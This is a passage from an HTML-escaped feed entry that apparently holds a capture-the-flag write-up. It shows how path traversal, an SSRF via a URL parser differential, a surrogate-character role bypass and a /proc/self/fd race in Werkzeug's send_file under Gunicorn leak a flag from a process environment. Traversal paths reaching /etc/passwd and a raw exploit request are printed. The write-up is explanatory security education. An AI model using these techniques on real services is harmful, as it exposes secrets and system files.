&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;rb&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; wrap_file&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;environ&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; response_class&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; direct_passthrough&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content_length &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; size&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For a regular file, this is sensible. For procfs, the operations disagree:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Operation&lt;/th&gt;
&lt;th&gt;What happens&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;os.stat(&amp;quot;/proc/RUNNER_PID/environ&amp;quot;)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reports size &lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;open(&amp;quot;/proc/RUNNER_PID/environ&amp;quot;)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Produces &lt;code&gt;LEAK=L3AK{...}&lt;/code&gt; bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTP response&lt;/td&gt;
&lt;td&gt;Uses &lt;code&gt;Content-Length: 0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Gunicorn honors the response length, so it sends no body. This is why the
download primitive can read &lt;code&gt;/etc/passwd&lt;/code&gt; but cannot directly deliver the
runner environment.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://werkzeug.palletsprojects.com/en/2.2.x/utils/#werkzeug.utils.send_file&quot;&gt;Werkzeug documentation&lt;/a&gt;
also warns that &lt;code&gt;send_file&lt;/code&gt; assumes a path is trusted. Here the path traversal
is one bug, and the fact that the same function serves special files is the
second bug we can build on.&lt;/p&gt;
&lt;h2&gt;Descriptor roulette&lt;/h2&gt;
&lt;p&gt;Linux exposes a process&#39;s open descriptors under &lt;code&gt;/proc/PID/fd&lt;/code&gt;. The
&lt;a href=&quot;https://man7.org/linux/man-pages/man5/proc_pid_fd.5.html&quot;&gt; &lt;code&gt;proc_pid_fd(5)&lt;/code&gt; documentation&lt;/a&gt;
describes these entries as links to the files currently held open by that
process.&lt;/p&gt;
&lt;p&gt;The special path we race is:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/proc/self/fd/N&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, &lt;code&gt;self&lt;/code&gt; is the process performing the lookup. Since the vulnerable route
is handled by Gunicorn, &lt;code&gt;/proc/self/fd/N&lt;/code&gt; means &lt;strong&gt;Gunicorn&#39;s&lt;/strong&gt; descriptor
table, not the runner&#39;s. The runner&#39;s environment is still opened through
&lt;code&gt;/proc/RUNNER_PID/environ&lt;/code&gt;; the trick is to make Gunicorn reuse descriptor
number &lt;code&gt;N&lt;/code&gt; between Werkzeug&#39;s metadata lookup and its file open.&lt;/p&gt;
&lt;p&gt;The target request is:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/download/JOB_ID/../../proc/self/fd/N&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The race window is small, but the state we want is simple:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Moment&lt;/th&gt;
&lt;th&gt;Gunicorn fd &lt;code&gt;N&lt;/code&gt; points to&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;stat(&amp;quot;/proc/self/fd/N&amp;quot;)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A regular non-empty file such as &lt;code&gt;app.css&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Werkzeug records a non-zero &lt;code&gt;Content-Length&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fd reuse&lt;/td&gt;
&lt;td&gt;A request for &lt;code&gt;/proc/RUNNER_PID/environ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The same fd number now refers to the runner&#39;s procfs environment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;open(&amp;quot;/proc/self/fd/N&amp;quot;)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The reused fd symlink&lt;/td&gt;
&lt;td&gt;The response body is read from the runner environment&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The path passed to &lt;code&gt;send_file&lt;/code&gt; never changes. The symlink behind
&lt;code&gt;/proc/self/fd/N&lt;/code&gt; changes between the metadata lookup and the open, so the
response length comes from one file while the bytes come from another.&lt;/p&gt;
&lt;p&gt;This is why the one-process Gunicorn configuration matters. The requests are
handled by different threads, but all of those threads share one fd table. A
multi-process Gunicorn configuration would give each worker its own table and
would make this particular race much less direct.&lt;/p&gt;
&lt;h2&gt;Keeping the race alive long enough to win&lt;/h2&gt;
&lt;p&gt;The solver sends three streams of requests.&lt;/p&gt;
&lt;p&gt;First, it repeatedly opens ordinary readable files:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/download/JOB_ID/../../app/static/css/app.css
/download/JOB_ID/../../app/static/js/app.js
/download/JOB_ID/../../usr/bin/perl
/download/JOB_ID/../../usr/local/lib/libpython3.9.so.1.0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Their contents do not matter. They are present, readable by &lt;code&gt;ctf&lt;/code&gt;, and report
nonzero sizes. They are the metadata side of the race.&lt;/p&gt;
&lt;p&gt;Second, other threads repeatedly open:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/download/JOB_ID/../../proc/RUNNER_PID/environ&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those are the secret-bearing descriptors. Their normal HTTP responses are
empty, but the descriptors still exist briefly inside Gunicorn while
&lt;code&gt;send_file&lt;/code&gt; handles the request.&lt;/p&gt;
&lt;p&gt;Finally, target threads try a range of fd numbers:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/download/JOB_ID/../../proc/self/fd/10
/download/JOB_ID/../../proc/self/fd/11
...
/download/JOB_ID/../../proc/self/fd/40&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Low numbers were more useful in the local container, so the solver weights
them more heavily. It also uses short timeouts and a small range request so
failed attempts do not block the worker pool for too long.&lt;/p&gt;
&lt;p&gt;The API setup is convenient with &lt;code&gt;requests&lt;/code&gt;, but the race itself uses raw HTTP
so that the exact traversal path and connection behavior stay under control:&lt;/p&gt;
&lt;pre class=&quot;language-http&quot;&gt;&lt;code class=&quot;language-http&quot;&gt;&lt;span class=&quot;token request-line&quot;&gt;&lt;span class=&quot;token method property&quot;&gt;GET&lt;/span&gt; &lt;span class=&quot;token request-target url&quot;&gt;/download/JOB_ID/../../proc/self/fd/12&lt;/span&gt; &lt;span class=&quot;token http-version property&quot;&gt;HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;target&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Cookie&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;session=ADMIN_SESSION&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Connection&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;keep-alive&lt;/span&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The race is not about finding a magic fd number. It is about repeatedly making
&lt;code&gt;stat()&lt;/code&gt; observe a regular file and &lt;code&gt;open()&lt;/code&gt; resolve the same fd symlink after
Gunicorn has reused that number for &lt;code&gt;/proc/RUNNER_PID/environ&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When it works, the response contains the marker we put in the manifest:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;LEAK=L3AK{...}&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Putting the chain together&lt;/h2&gt;
&lt;p&gt;The complete solve is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Register with &lt;code&gt;role: &amp;quot;admin&#92;ud800&amp;quot;&lt;/code&gt; and keep the session cookie.&lt;/li&gt;
&lt;li&gt;Use download traversal to confirm the local file read.&lt;/li&gt;
&lt;li&gt;Send the URL parser differential to &lt;code&gt;/api/manifest&lt;/code&gt; so the public app talks
to &lt;code&gt;worker.py&lt;/code&gt; on localhost.&lt;/li&gt;
&lt;li&gt;Ask the root worker to start long-lived runners with &lt;code&gt;LEAK: &amp;quot;$FLAG&amp;quot;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Locate the runner PIDs through &lt;code&gt;/proc/RUNNER_PID/cwd/build.log&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Use the same file-read primitive to make Gunicorn open the runner&#39;s
environment.&lt;/li&gt;
&lt;li&gt;Race those opens against ordinary files through &lt;code&gt;/proc/self/fd/N&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Extract the &lt;code&gt;LEAK&lt;/code&gt; value from the response whose metadata came from one
file and whose body came from another.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The flag&#39;s path through the system is now clear. The root worker reads
&lt;code&gt;/secrets/flag&lt;/code&gt; into &lt;code&gt;VAULT&lt;/code&gt;, expands &lt;code&gt;$FLAG&lt;/code&gt; into the environment passed to
&lt;code&gt;runner.py&lt;/code&gt;, and that environment becomes readable at
&lt;code&gt;/proc/RUNNER_PID/environ&lt;/code&gt;. The final race makes Gunicorn serve bytes from
that procfs file while keeping the non-zero response length it measured from a
regular file.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bishopfox.com/blog/json-interoperability-vulnerabilities&quot;&gt;JSON interoperability vulnerabilities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-wpqr-jcpx-745r&quot;&gt;ujson dangling-surrogate advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/security-implications-of-url-parsing-differentials/&quot;&gt;URL parsing differentials&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/library/urllib.parse.html#url-parsing-security&quot;&gt;Python &lt;code&gt;urllib.parse&lt;/code&gt; security notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3.9/library/string.html#template-strings&quot;&gt;Python &lt;code&gt;string.Template&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://man7.org/linux/man-pages/man5/proc_pid_environ.5.html&quot;&gt;Linux &lt;code&gt;proc_pid_environ(5)&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://man7.org/linux/man-pages/man5/proc_pid_fd.5.html&quot;&gt;Linux &lt;code&gt;proc_pid_fd(5)&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pallets/werkzeug/blob/2.2.3/src/werkzeug/utils.py&quot;&gt;Werkzeug 2.2.3 &lt;code&gt;send_file&lt;/code&gt; source&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://werkzeug.palletsprojects.com/en/2.2.x/utils/#werkzeug.utils.send_file&quot;&gt;Werkzeug &lt;code&gt;send_file&lt;/code&gt; documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </entry>
  
</feed>
